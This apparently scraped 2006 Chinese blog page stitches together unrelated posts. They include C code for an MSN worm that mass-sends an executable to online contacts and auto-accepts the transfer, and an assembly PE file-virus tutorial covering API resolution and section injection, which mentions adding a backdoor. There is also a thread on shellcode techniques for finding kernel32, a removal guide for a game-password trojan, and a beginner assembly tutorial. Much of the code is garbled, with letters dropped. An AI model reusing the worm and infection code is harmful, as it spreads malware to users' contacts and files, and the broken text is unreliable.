(注:Gary Ne ett 的方法,hume已经给出了例子,所以我就不重复了,请到他的网站
下载。)
以上的方法都是前辈高人的研究总结,可不是我原创的,不过最后我给出一个 Win32ASM 例子,演示一下用批处理文件删除程序自身的方法。
posted @ 2006-12-17 11:04 U2U 阅读(201) | 评论(0) | 前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。
下面是测试代码,只有通过MSN传送文件部分
#include "stdafx.h"
#include < tdio.h
#include windows.h
#include "msgruaid.h" //这两个头文件就是接口的定义
#include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要)
#include comutil.h
int main(int argc, char* argv[])
IMe enger *pIMe enger = NULL; //a pointer to an IMe enger interface BSTR trName, trFriendName;
IMe engerContact *M Contact;
IMe engerContacts *M Contact IMe engerWindow *pIM Window;
__MIDL___MIDL_itf_msgrua_0000_0002 dwStatu VARIANT vaTem BSTR trFileName;
char *szOpenDlg;
char szM WindowsCla [] = "IMWindowCla ";
char szButtonText[] = "打开(&am O)";
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];
CoInitialize(0); //初始化COM库
CoCreateI tance(CLSID_Me enger, NULL, CLSCTX_ALL, IID_IMe enger, (void **)&am IMe enger); //创建一个实例
pIMe enger-get_MyContacts((IDi atch**)&am M Contacts); //取得好友列表
pIMe enger-get_Window((IDi atch**)&am IM Window);
long nCount;
M Contacts-get_Count(&am Count); //得到好友数
for (int i = 0; i nCount; i++)
M Contacts-Item(i, (IDi atch**)&am M Contact);
M Contact-get_SigninName(&am trName); //账号
M Contact-get_FriendlyName(&am trFriendName); //签名
szOpenDlg = _com_util::ConvertBSTRToString( trFriendName);
M Contact-get_Status(&am dwStatus);
if (dwStatus == MISTATUS_ONLINE) //判断是否在线
GetCurrentDirectory(MAX_PATH, szCurDir);
lstrcat(szCurDir, "\\");
lstrcat(szCurDir, "TestM .exe");
lstrcpy(szBuf, "发送文件给 ");
lstrcat(szBuf, szOpenDlg); trFileName = _com_util::ConvertStringToBSTR(szCurDir);
vaTemp.vt = VT_BSTR;
vaTemp. trVal = trName;
pIMe enger-SendFile(vaTemp, trFileName, (IDi atch**)&am IM Window); //发送文件
hWnd = FindWindow(NULL,szBuf);
hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);
&am hBtn));
dwControlId = 16;
dwControlId |= 1;
PostMe age(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&am (hBtn));
keybd_event(VK_RETURN, 0, 0, 0);
keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);
M Contact-Release();
M Contacts-Release();
pIMe enger-Release(); //释放相关资源
CoUninitialize();
ExitProce (0);
return 0;
posted @ 2006-12-17 11:02 U2U 阅读(130) | 评论(0) | PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格式更好的了解,而加壳程序的外壳部分也运用到了和PE文件病毒类似的技术,所以还是可以了解下的
我也是刚学习这方面的东西,就把一点点心得写了下来.参考了罗云彬的windows环境下32位汇编语言程序设计在下菜鸟一只,望高手指教~
首先说说PE文件病毒的工作方式.一个PE文件病毒基本上有这几个功能:
1)获取kernel32.dll的基地址
2)通过所获得的kernel32的基地址通过dll的PE文件格式中的输出表获得以后要使用到的API的地址,并将他们存放在变量或是栈中,将来所调用的API直接通过CALL这些地址来实现.
3)查找要感染的文件并获得他们的基地址(通过CreateFile,CreateFileMa ing,ViewOfMapFile将文件打开,当然调用的是getapi所找到的地址。其他过程和一般的程序没什么区别,所以就不写在这里了)
4)通过获得的文件的基地址来根据文件的PE文件格式来将病毒代码注入到该文件中,在这里有两种方法,一是通过给程序添加一个节(section)来将病毒注入,另一种是选取一个未用完的节(因为节在内存中是按1000为单位对齐的). 当然了,病毒不可能只是复制自己而什么都不做,不然的话就没有破坏性了...在代码里都会有一段用来做点坏事~~比如开个后门~~ 好了,我们来具体看看这些有趣的东西~~~嘿嘿
第一个部分,获取K32的基地址
_GetK32 roc local @dwReturn ushad mov @dwReturn,0       ;返回值,先设为0(即false) mov edi,_dwKernelRet    这里的_dwKernel32Ret 是[e ],当程序通过ret指令结 束的时候,系统会通过调用 CreateProce ()函数来启动进 程,这时的堆栈中所存放的值就是Kernel32所在的那部分 地址段中的一个地址。因此,如果我们在程序中的开头部 分取出[e ]的值,就能通过这个值定位 kernel32的基地 址             and edi,0ffff0000h 因为WINDOWS是分页系统,4K一页,所以这条语句就是将 edi指向该页的基地址
@1: 由于分页系统中模块加载都是从每一页的页首开始,所以 基地址总每页的页首地址 cm word tr [edi],'ZM' 这一段是判断是否到达K32的基地址 jnz @1 mov esi,edi add esi,[esi+003ch] cm word tr [esi],'EP' mov @dwReturn,edi jz @2 确认找到的是K32的基地址,跳 u edi,010000h 不是K32的基地址,则查看是不是在前一页 cm edi,070000000h j @2 如果小于07000000则不查找,因为K32不会在小于 070000000前的页,在这里为了简单没有考虑出错情况,一 般出错的话就直接结束吧 jm @1
@2: add e ,0ch opad mov eax,@dwRetur 将找到的K32的基地址给EAX返回 ret
_GetK32 endp
第2部分,GetApi部分
_GetApi roc 输入ESI(指向一个API名字)输出该API的地址 mov edx,esi 先将该API名字的首地址备份个
@1: cm yte tr [esi],0 这一段是获取API名字的长度,因为以0作为字符串结束的 标记,所以比较esi所指地址的值是否为0来判断是否是字 符串的结束 jz @2 是,跳 inc esi 不是则让ESI指向下一个字符,继续判断 jm @1
@2的目的就是获取,输出地址表eat,存放输出的API的名字的数组ent和输出序数表eot的VA。之所以要取这3个是因为eat[x]的所对应的 API并不就是ent[x]对应的API.实际上他们3者的API对应关系是ent[x]'API=eat[eot[x]]'API
@2: inc esi u esi,edx esi-edx就是API的字符串长度了 mov ecx,esi xor eax,eax mov count,ax COUNT存放所输入的API在ENT的数组序号(即对应关系中的 X) mov esi,hDllKernel32 add esi,3ch 即让ESI指向NT头,3c是dos头的长度 mov esi,[esi+78h] 让ESI指向DATA DIRECTORY数组的首地址(这个值是RVA) 由于输出表是放在数组的第一个,所以所指的这个数组的 首地址的RVA就是输出表的首地址的RVA add esi,hDllKernel32 输出表的VA add esi,1ch ESI指向Addre OfFunctio lodsd 读取Addre OfFunctio 的内容 add eax,hDllKernel32 EAT(输出地址表)的VA mov eatVA,eax lodsd 读取Addre OfNames的内容 add eax,hDllKernel32 ENT(存放输出的API的名字的数组) mov entVA,eax lodsd 读取输出序数表EOT的RVA add eax,hDllKernel32 VA mov OrdinalVA,eax mov esi,entVA
而@3就是先比较所要得到地址的API名和ENT中的各名字对比找到EAT,ENT,EOT对应关系中的X,然后得到该API的地址
@3: ush esi lodsd add eax,hDllKernel32 数组指针 mov esi,eax mov edi,edx ush ecx 该API名字的长度 cld re cm 比较这时数组指针所指的API名是否是输入的那个API名 o ecx jz @4 是,跳 o esi add esi,4 不是,指向下一个数组中的API名字继续比较 inc Count jm @3
@4: o esi mov eax,Count 进行对应关系的转换 hl eax,1 add eax,OrdinalVA EAX中地址存放的就是EOT[X] xor esi,esi xchg eax,esi lodsw hl eax,2 add eax,eatVA mov esi,eax lodsd 读取eat[eot[x]]的内容(API的RVA地址) add eax,hDllKernel32 ;VA ret gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt;
_GetApi roc 输入的是ESI(指向存放API名字的数组)和EDI(指向存放 API函数所在地址的数组)
@1: ush esi ush edi call _GetApi o edi o esi tosd
@2: cm yte tr [esi],0 ;判断是否是一个API名的结束 jz @3 inc esi jm @2
@3: cm word tr [esi],0 h ;判断是否是数组的结束 jz @4 是,则结束 inc esi ;不是,指向下一个API名,继续查找他的地址 jm @1
@4: ret
_GetApi endp gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt gt;
第3部分:感染~~
如之前所讲的,感染有两种方式,在这里我们采用了第一种方式。这个函数的工作方式是这样的:
1)将代码添加到一个新节中,我们先将一个指针指向文件中的最后的一个节的结尾,从这里把我们的代码写到后面。另一个指针指向到最后的那个节对应的 sectio header修改PointerToRawData和SizeOfRawData让它指向的是我们添加的那个节。
2)记录下未感染的OEP,因为在我们的代码结束的时候要让宿主程序正常执行(除非你想让人家知道自己被感染了。。。)所以我们要先记录他的OEP,在我们程序结束的时候运用一个JMP跳过去。
3)修改nt头中的Addre OfEntryPoint,让它指向的是我们的添加的代码
_Inject roc lpFile是文件的基地址,lpPEHead是nt头 mov esi,_lpPEHead mov edi,_lpPEHead movzx eax,[esi+06h] NumberOfSectio dec eax mov ecx,28h 28h为一个sectio header的长度 mul ecx eax中为所有sectio header部分的长度 add esi,eax add esi,78h 减去data_directory的nt header长度 mov edx,[edi+74h] hl edx,3 edx存放计算出的data_directory长度 add esi,edx esi指向了最后一个sectio header mov _Oldep,[edi+28h] 存下Addre OfEntryPoint mov _ImageBase,[edi+34h] mov _SizeOfRawData,[esi+10h] mov _PointerToRawData,[esi+14h] mov edx,_PointerToRawData add edx,_SizeOfRawData mov _AllSecHeadLength,edx mov eax,_SizeOfRawData add eax,[esi+0ch] +VA,则在eax所指的地址添加病毒代码,且此时的EAX为new ;ep mov _Newep,eax mov [edi+28h],eax 将旧的ep覆盖为新的 mov eax,[esi+10h] invoke _Align,_dwVirusSize,[esi+3ch] 将我们的节对齐 mov [esi+08h],eax 更新对齐后的SIZEOFRAWDATA和VIRTUALSIZE mov [esi+10h],eax add eax,[esi+0ch] eax=size of image(加上了新加的节的长度) mov [edi+50h],eax or dword tr [esi+24h],0a0000020h ;该节属性定为可执行代码 mov dword tr [edi+4ah],"Zalone" ;节的名字enolaZ~~~~~~ lea esi,[e +virus_start] 把我们的代码移进去 mov edx,_AllSecHeadLength xchg edi,edx add edi,_lpFile mov ecx,virus_size re z mov ;写代码的循环 jm UnMapFile 完成,关闭这个文件 ret
InjectFile endp
好了,关键的部分就是这个样子,主体部分我觉得其实是最简单的,所以没贴出来.感觉代码还不是很优化,另外这个东西也没有一些反调试或是隐藏自己的方法. 另外在对eot,ent,eat那部分感觉的讲解还不是很清晰,不过那个表达式是很清晰的说明了,可能是好久没写过作文了吧...
posted @ 2006-12-17 11:01 U2U 阅读(213) | 评论(1) | 这个进程是不是一个传奇世界程序的图标使用51破解版传家宝会生产一个WINLOGON.EXE进程
正常的winlogon系统进程,其用户名为“SYSTEM” 程序名为小写winlogon.exe。
而伪装成该进程的木马程序其用户名为当前系统用户名,且程序名为大写的WINLOGON.exe。
进程查看方式 ctrl+alt+del 然后选择进程。正常情况下有且只有一个winlogon.exe进程,其用户名为“SYSTEM”。如果出现了两个winlogon.exe,且其中一个为大写,用户名为当前系统用户的话,表明可能存在木马。
这个木马非常厉害,能破坏掉木马克星,使其不能正常运行。目前我使用其他杀毒软件未能查出。
那个WINDOWS下的WINLOGON.EXE确实是病毒,但是,她不过是这个病毒中的小角色而已,大家打开D盘看看是否有一个pagefile的 DOS指向文件和一个autorun.inf文件了,呵呵,当然都是隐藏的,删这几个没用的,因为她关联了很多东西,甚至在安全模式都难搞,只要运行任何程序,或者双击打开D盘,她就会重新被***了,呵呵,这段时间很多人被盗就是因为这个破解的传家宝了,而且杀毒软件查不出来,有人叫这个病毒为 ”落雪“ 是专门盗传奇传奇世界的木马,至于会不会盗其他帐号如QQ,网银就看她高兴了,呵呵,估计也都是一并录制。不怕毒和要减少损失的最好开启防火墙阻止除了自己信任的几个常用任务出门,其他的全部阻挡,当然大家最好尽快备份,然后关门杀毒
包括方新等修改过的51pywg传家宝,和他们破解的其他一切外挂,这次嫌疑最大的是51PYWG,至于其他合作网站估计也逃不了关系,特别是方新网站,已经被证实过多次在网站放木马,虽然他解释是被黑了,但是不能排除其他可能,特别小心那些启动后连接网站的外挂,不排除启动器本身就有毒,反正一句话,这种启动就连接某网站的破解软件最容易放毒,至于什么时候放,怎么方,比如一天放几个小时,都要看他怎么爽,用也尽量用那种完全本地破解验证版的,虽然挂盟现在好像还没发现被放马或者自己放,但是千万小心,,最近传奇世界传奇N多人被盗号,目标直指这些网站,以下是最近特别毒的 WINLOGON.EXE盗号病毒清除方法,注意这个假的WINLOGON.EXE是在WINDOWS下,进程里头表现为当前用户或 ADMINISTRATOR.另外一个 SYSTEM的winlogon.exe是正常的,那个千万不要乱删,看清楚了,前面一个是大写,后面一个是小写,而且经部分网友证实,此文件连接目的地为河南。
解决“落雪”病毒的方法
症状:D盘双击打不开,里面有autorun.inf和pagefile.com文件
做这个病毒的人也太强了,在安全模式用Administrator一样解决不了!经过一个下午的奋战才算勉强解决。我没用什么查杀木马的软件,全是手动一个一个把它揪出来把他删掉的。它所关联的文件如下,绝大多数文件都是显示为系统文件和隐藏的。所以要在文件夹选项里打开显示隐藏文件。
D盘里就两个,搞得你无法双击打开D盘。C盘里盘里的就多了!
D:\autorun.inf
D:\pagefile.com
C:\Program Files\Internet Explorer\iexplore.com
C:\Program Files\Common Files\iexplore.com
C:\WINDOWS\1.com
C:\WINDOWS\iexplore.com
C:\WINDOWS\finder.com
C:\WINDOWS\Exeroud.exe(忘了是不是这个名字了,红色图标有传奇世界图标的)
C:\WINDOWS\Debug\*** Programme.exe(也是上面那个图标,名字忘了-_- 好大好明显非隐藏的)
C:\Windows\system32\command.com 这个不要轻易删,看看是不是和下面几个日期不一样而和其他文件日期一样,如果和其他文件大部分系统文件日期一样就不能删,当然系统文件肯定不是这段时间的。
C:\Windows\system32\msconfig.com
C:\Windows\system32\regedit.com
C:\Windows\system32\dxdiag.com
C:\Windows\system32\rundll32.com
C:\Windows\system32\finder.com
C:\Windows\system32\a.exe
对了,看看这些文件的日期,看看其他地方还有没有相同时间的文件还是.COM结尾的可疑文件,小心不要运行任何程序,要不就又启动了,包括双击磁盘
还有一个头号文件!WINLOGON.EXE!做了这么多工作目的就是要干掉她!!!
C:\Windows\WINLOGON.EXE
这个在进程里可以看得到,有两个,一个是真的,一个是假的。
真的是小写winlogon.exe,(不知你们的是不是),用户名是SYSTEM, 而假的是大写的WINLOGON.EXE,用户名是你自己的用户名。
这个文件在进程里是中止不了的,说是关键进程无法中止,搞得跟真的一样!就连在安全模式下它都会
呆在你的进程里!我现在所知道的就这些,要是不放心,就最好看一下其中一个文件的修改日期,然后用“搜索”搜这天修改过的文件,相同时间的肯定会出来一大堆的,连系统还原夹里都有!!这些文件会自己关联的,要是你删了一部分,不小心运行了一个,或在开始-运行里运行msocnfig,command,regedit这些命令,所有的这些文件全会自己补充回来!
知道了这些文件,首先关闭可以关闭的所有程序,打开程序附件里头的WINDOWS资源管理器,并在上面的工具里头的文件夹选项里头的查看里设置显示所有文件和文件假,取消隐藏受保护操作系统文件,然后打开开始菜单的运行,输入命令 regedit,进注册表,到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run
里面,有一个Torjan pragramme,这个明摆着“我是木马”,删!!
然后注销! 重新进入系统后,打开“任务管理器”,看看有没rundll32,有的话先中止了,不知这个是真还是假,小心为好。到D盘(注意不要双击进入!否则又会激活这个病毒)右键,选“打开”,把autorun.inf和pagefile.com删掉,然后再到C盘把上面所列出来的文件都删掉!中途注意不要双击到其中一个文件,否则所有步骤都要重新来过! 然后再注销。
我在奋战过程中,把那些文件删掉后,所有的exe文件全都打不开了,运行cmd也不行。
然后,到C:\Windows\system32 里,把cmd.exe文件复制出来,比如到桌面,改名成cmd.com 嘿嘿 我也会用com文件,然后双击这个COM文件
然后行动可以进入到DOS下的命令提示符。
再打入以下的命令:
a oc .exe=exefile (a oc与.exe之间有空格)
ftype exefile="%1" %*
这样exe文件就可以运行了。 如果不会打命令,只要打开CMD.COM后复制上面的两行分两次粘贴上去执行就可以了。
但我在弄完这些之后,在开机的进入用户时会有些慢,并会跳出一个警告框,说文件"1"找不到。(应该是Windows下的1.com文件。),最后用上网助手之类的软件全面修复IE设置
最后说一下怎么解决开机跳出找不到文件“1.com”的方法:
在运行程序中运行“regedit”,打开注册表,在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中
把"Shell"="Explorer.exe 1"恢复为"Shell"="Explorer.exe"
大功告成!大家分享一下吧!
落雪木马专杀工具 V1.0绿色特别版 游戏大盗病毒江民专杀
落雪”木马也叫“游戏大盗”( Trojan/PSW.GamePa ),由VB 程序语言编写,通过 nSPack 3.1 加壳处理(即通常所说的“北斗壳”North Star),该木马文件图标一般是红色的图案,伪装成网络游戏的登陆器。
病毒运行后,在C盘program file以及windows目录下生成winlogon.exe、regedit.com等14个病毒文件,病毒文件之多比较少见,,事实上这14个不同文件名的病毒文件系同一种文件,“落雪”之名亦可能由此而来。病毒文件名被模拟成正常的系统工具名称,但是文件扩展名变成了 .com。江民反病毒工程师分析,这是病毒利用了Windows操作系统执行.com文件的优先级比EXE文件高的特性,这样,当用户调用系统配置文件 Msconfig.exe的时候,一般习惯上输入 Msconfig,而这是执行的并不是微软的Msconfig.exe程序,而是病毒文件 Msconfig.com ,病毒作者的“良苦用心”由此可见。病毒另一狡诈之处还有,病毒还创建一名为winlogon.exe的进程,并把 winlogon.exe 的路径指向c:\windows\winlogon.exe,而正常的系统进程路径是C:\WINDOWS\system32\ winlogon.exe,以此达到迷惑用户的目的。
PS:根据验证确实有效果  :)
posted @ 2006-12-17 10:59 U2U 阅读(834) | 评论(2) | 以下~Delphi源码
1.这个代码在我的~无IAT程序中使用过当时时间仓促没有进行太多的修改~
所以不支持Win9x
mov eax,fs:$30
mov eax,[eax + $0c]
mov esi,[eax + $1c]
mov eax,[eax+$08] //此时EAX中保存的就是~K32的基址了
[Copy to cli oard]
2.加强版
上面的版本只适合WinNT系统
下面增加了Win9x
mov eax,fs:[30h]
test eax,eax
js @@os_9x
@@os_nt:
mov eax,[eax+0ch]
mov esi,[eax+1ch]
mov eax,[eax+8]
jmp @@finished
@@os_9x:
mov eax,[eax+34h]
lea eax,[eax+7ch]
mov eax,[eax+3ch]
@@finished:
//程序执行到这里的时候~EAX保存的就是K32的基址
[Copy to cli oard]
获取~完K32基址以后就可以搜索API了
其实还有好多方法~个人不太喜欢SEH~太麻烦了~
请高手补充~谢谢~
+++++++++++++++++++++++++++++++++++++++++++++++++++++
A kya写了用PEB搜索,这里利用SEH搜索
***************************************************************************************
GetKernel32 proc
mov esi,fs:[0] lodsd
FindUnExcept: cmp [eax],0xffffffff je FindedUnExcept //如果是异常链的最后一个节点 mov eax,[eax] //如果不是异常链的最后一个节点,则向前遍历 jmp FindUnExcept
FindedUnExcept: mov eax,[eax+0x04] //获得UnHhndlerExceptFilter函数地址,该函数位于KERNEL32.DLL中.
FindMZ_PE: and eax,0xffff0000 //根据PE执行文件的64K字节齐特征,加快查找速度 cmp word ptr [eax],'ZM'//根据PE可执行文件头部特征确定是否找到KERNEL32.DLL基址. jne MoveU //如果与PE可执行文件头部特征不符,继续则向上查找 mov ebx,[eax+0x3c] add ebx,eax cmp word ptr [ebx],'EP' jne MoveU //如果与PE可执行文件头部特征不符,继续则向上查找 jmp FindOK //如果与PE可执行文件头部特征相符则认为已经找到了KERNEL32.DLL的基址,并能过eax返回
MoveUp: dec eax //向上查找 jmp FindMZ_PE
FindOK: ret
GetKernel32 endp
************************************************************************************
下面一个用暴力搜索的方法获得
;转载自“老罗的缤纷天地”(
;函数功能:查找 Kernel32.dll 的基地址 (暴力搜索内存)
;*******************************************************************
GetKernelBase proc uses esi edi dwKernelRet:DWORD LOCAL dwReturn: DWORD mov edi, dwKernelRet ; edi = 堆栈顶 and edi, 0ffff0000h ; 用 AND 获得初始页 .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE ; 等于“MZ”吗? mov esi, edi ; Yes, next... add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch .if word ptr [esi] == IMAGE_NT_SIGNATURE ; 等于“PE”吗? mov dwReturn, edi ; Yes, we got it. .break .endif .endif ;以下等同于sub edi, 010000h,即每次减少64k: dec edi xor di, di .break .if edi 070000000h ; 基地址一般不可能小于70000000h .endw mov eax, dwReturn ret
GetKernelBase endp
只截取了这一段,有兴趣的可以去作者主页看看
++++++++++++++++++++++++++++++++++++++++++
[原创灌水]Get kerne32 Base----通用代码(支持WIn32 All)
1.第一种老方法PEB获取
GetK32basePEB: pushad sub eax,eax mov eax,fs:[eax+30h] test eax,eax js @@os_9x
@@os_nt: mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+8] jmp @@finished
@@os_9x: mov eax,[eax+34h] lea eax,[eax+7ch] mov eax,[eax+3ch]
@@finished: mov [e +pushad_eax],eax popad ret
[Copy to cli oard]
第二种SEH.其实原理很简单~堆栈的最后几个节看看就知道了
GetK32baseSEH1: pushad sub eax, eax mov edi, fs:[eax] not eax mov ecx, eax re z scasd scasd mov ebx, [edi] xor bx, bx
@@Find: cmp word ptr[ebx], 'ZM' jz @@finished sub ebx, 10000h jmp @@Find
@@finished: mov [e +pushad_eax],ebx popad ret
[Copy to cli oard]
3.另外一种写法:
GetK32baseSEH2: pushad sub ecx, ecx mov esi, fs:[ecx] not ecx
@@Find_SEH_Loop: lodsd cmp eax, ecx jne @@Find_SEH_Loop
@@Find_SEH_Done: mov eax,[esi+4]
@@Find_k32_Base: sub ax, ax cmp word ptr[eax], 'ZM' jz @@finished sub eax, 10000h jmp @@Find_k32_Base
@@finished: mov [e +pushad_eax],eax popad ret
[Copy to cli oard]
以上代码~1:37字节,2.3:都是38字节
ShellCode编写最大的特点的就是小~缩减字节很重要
建议大家多学习少灌水~特别是一些哗众取宠的事情最好不要去作~
谢谢~闪人~
Goldsun
注意: SEH 方法在程序初始环境下可行,但在shellcode中不通用,因为触发时,SEH也许还会指向宿主exe或其它模块,并不一定都指向Kernel32.dll中。
引用第3楼Goldsun于2006-05-19 09:45发表的“ #8221;:
注意: SEH 方法在程序初始环境下可行,但在shellcode中不通用,因为触发时,SEH也许还会指向宿主exe或其它模块,并不一定都指向Kernel32.dll中。
不好意思~SEH方法完全可行..因为取的不是相对偏移值
类似ESP定律..0x12FFC4
当然不一定非要是这个数值..(虽然是不同的壳不同的基址但是有些壳必定是这个值)
我这里取的是栈顶的几个值~SEH最后的数值虽然说不见得非要是FFFFFFFF
您还是参考一下Hume的SEH in ASM 研究
看看Windows 32位下汇编语言程序设计也可以
我也不多说废话了,自己实验一下就知道了
Goldsun
我当然是测试后才说的话。
我的意思是说你取的是seh链中是取最低内存值的,在exploit中,某个eip处,最近的seh就不一定是kernel32.dll的处理过程了,相应的就会取错,不然你自己试试。
如果你直接在栈初始化状态的话,那肯定没问题.
0012FFC4 7C816D4F RETURN to kernel32.7C816D4F
0012FFC8 7C930738 ntdll.7C930738
0012FFCC FFFFFFFF
0012FFD0 7FFD5000
0012FFD4 80873938
0012FFD8 0012FFC8
0012FFDC 81B64020
0012FFE0 FFFFFFFF End of SEH chain
0012FFE4 7C8399F3 SE handler Goldsun
当然,你自己完整shellcode执行没问题,但这样取的话在exploit是不通用的,碰壁是当然的.
目前只有从PEB取是合理的,通用的。
SEH的很少用~因为感觉他速度太慢~(搜索的时间太长)
这个没有作过多的测试..不过一般的情况下不会出什么问题的
不过看过许多高手都是使用SEH搜索的也没有作过多测试...
lion的一些代码也是使用SEH的~...
一般我在直接整体注入ShellCode的时候不会出现这种问题
如果异常处理是由程序自身实现的话这个不太清楚~~对SEH也是一知半解的
谢谢提醒
posted @ 2006-12-17 10:57 U2U 阅读(593) | 评论(0) | 使用等),而不是汇编语言本身,例如伪代码(opcodes),寄存器(registers)的使用等。虽然你能在其他教程中找到这些内容,但那些教程通常是解释Dos编程的。它当然可以帮你学习汇编语言,但在Windows中编程,你不再需要了解 Dos中断(interrupt)和端口(port)In/Out函数。在Windows中,WindowsAPI提供了你可在你的程序中使用的标准函数,后面还会对此有更多内容。这份教程的目的是在解释用汇编编Win32程序的同时学习汇编语言本身。
1.0-介绍汇编语言
汇编语言是创造出来代替原始的只能由处理器理解的二进制代码的。很久以前,尚没有任何高级语言,程序都是用汇编写的。汇编代码直接描述处理器可以执行的代码,例如:
add eax,edx
add 这条指令把两个值加到一起。eax和edx被称为寄存器,它们可以在处理器内部保存值。这条代码被转换为66 03 c2(16进制)。处理器阅读这行代码,并执行它所代表的指令。像C这样的高级语言把它们自己的语言翻译为汇编语言,而汇编器又把它转换为二进制代码:
C 代码
a = a + C编译器 汇编语言
add eax, edx 汇编器 原始输出(十六进制)
66 03 C2
(注意该处的汇编语言的代码被简化了,实际输出决定于C代码的上下文)
1.1-为什么?(Why?)
既然用汇编写程序很困难,那么为什么你用A汇编而不是C或者别的什么??-汇编产生的程序更小而且更快。在像如有人工智能一般的非常高级编程语言中,编译器要产生输出代码比起汇编来更困难。虽然编译器变得越来越好,编译器仍然必须指出最快(或最小)的方式产生汇编代码。而且,你自己来写(汇编)代码(包括可选的代码优化)能生成更小更快的代码。但是,当然,这比使用高级语言难多了。还有另一个与某些使用运行时dll的高级语言不同的地方,它们在大多数时运行良好,但有时由于dll(dll hell)而产生问题,用户总是要***这些Dll。对于Visual C++,这不是一个问题,它们是与Windows一同***的。而Visual Basic甚至不把自己的语言转换为汇编语言(虽然5以及更高的版本进行了一些这样的转换,但不完全)。它高度依赖msvbvm50.dll- Visual Baisc虚拟机。由VB产生的exe文件仅仅存在简单的代码和许多对这些dll的调用。这就是vb慢的原因。汇编是所有中最快的。它仅仅用系统的dll 如Kernel32.dll, User32.dll等。
译者注:dll hell是指由于dll新的版本被旧的版本给代替了。由于使用了dll新版本的程序仍然调用新的函数,导致了致命的错误。
另一个误解是许多人认为汇编不可能用来编程。当然,它难,但不是不可能。用汇编创建大的工程的确很难,我只是用它来写小程序,用于需要速度的代码被写在能被其他语言导入的dll中。而且,Dos和Windows还有一个很大的区别。Dos程序把中断当“函数”用。像中断10用于显示,中断13用于文件存储等。在Windows中,API函数只有名字(比如Me ageBox, CreateWindowsEx)。你能导入库(DLL)并使用其中的函数。这使得用asm写程序简单多了。你将在下一章中学习更多关于这方面的知识。
2.0-开始前的准备
介绍已经够多了,现在让我们开始吧。要用汇编写程序,你需要一些工具。下面,你能看到我将在本教程中使用哪些工具。我建议你***同样的工具,因为这样你能跟着教程试验文中的例子。我也给出其他的一些选择,虽然其中的大部分你都可以选择,但是要警告的是在汇编器(masm,tasm和nasm)中有很大的区别。在这个教程中,将使用masm,因为它有许多很有用的功能(例如invoke),它使得编程更容易。当然,你可以自己选择你更喜欢的汇编器,但这将使你跟着教程走难一些而且你不得不把教程中的例子进行转换使它可以在你用的汇编器中运行。
汇编器
我的选择:Masm(在win32asm包中)
网址:win32asm.cjb.net
描述:一个把伪代码(opcodes)翻译为给处理器读的原始输出(object文件)的汇编器
相关内容:Masm,宏(macro)汇编器,是一个有很多有用的特色的汇编器。像“invoke”,它可以简化对API函数的调用并对数据类型进行检查。你将在本教程的后面学习这些。如果你读了上面的文字你就知道本教程推荐使用masm。
供选择:Tasm[dl],nasm[dl]
链接器
我的选择:微软Incremental链接器(link.exe)
网址:win32asm.cjb.net(在win32asm包中)
描述:链接器把目标(object)文件和库文件(用于导入DLL中的函数)“链接”到一起输出最终的可执行文件。
关于:我用Iczelion的Win32asm包中的link.exe。但大多数的链接器都可以用。
供选择:Tasm linker[dl]
资源编辑器
我的选择:Borland Resource Workshop
网址:
描述:用于创建资源(图形,对话框,位图,菜单等)的资源编辑器。
关于:大多数的编辑器都行。我个人爱好是resource workshop但你可以用你喜欢的。注意由于resource workshop创建的资源文件有时给资源编译带来麻烦,如果你想使用这个编辑器,你应当把tasm一起下下来,他里面包含了用于编译borland式资源的brc32.exe。
供选择:Symantec资源编辑器,Resource Builder等等
文本编辑器
我的选择:ultraedit
网址:
描述:一个文本编辑器需要说明吗?
关于:文本编辑器的选择是十分个性化的。我非常喜欢ultraedit。你可以下载我为ultraedit写的语法文件,它可以使汇编代码语法高亮。但至少,选一个支持语法高亮的文本编辑器(关键字会自动标色)。这非常有用而且它使你的代码更容易读和写。Ultraedit还有一个可以使你在代码中快速跳转到某一个函数的函数列表。
供选择:数百万的文本编辑器中的一个
参考手册
我的选择:win32程序员参考手册
网址:
(或搜索互联网)
描述:你需要参考一些API函数的用法。最重要的是“win32程序员参考手册”(win32.hlp)。这是个大文件,大约24mb(一些版本是 12mb,但不全)。在这个文件中,对所有系统dll的函数(kernel,user,gdi,shell等)都做了说明。你至少需要这个文件,其他的参考(sock2.hlp, mmedia.hlp, ole.hlp等)也是有帮助的但不一定需要。
供选择:N/A
(译者注:该教程写成较早,现在有极好的MSDN供选择)
2.1-***工具
现在你已经得到这些工具了,把它们***到你硬盘的某个角落吧。这有几个值得注意的地方:
把masm包***到你打算写汇编源程序的那个分区。这保证了包含文件路径的正确性。把masm(和tasm)的bin目录加到autoexec.bat的path中,并重新启动。
如果你用的是ultraedit,使用你可以在前面下载的语法文件并启用function-listview(函数列表视图)。
2.2-为你的源文件准备目录
在某个地方创建一个win32文件夹(或其他你喜欢的名字),并为你创建的每一个工程创建一个子文件夹。
3.0-汇编基础知识
这章将教你汇编语言的基础知识
3.1-伪代码(opcodes)
汇编程序是用伪代码创建的。一个伪代码是一条处理器可以理解的指令。例如:
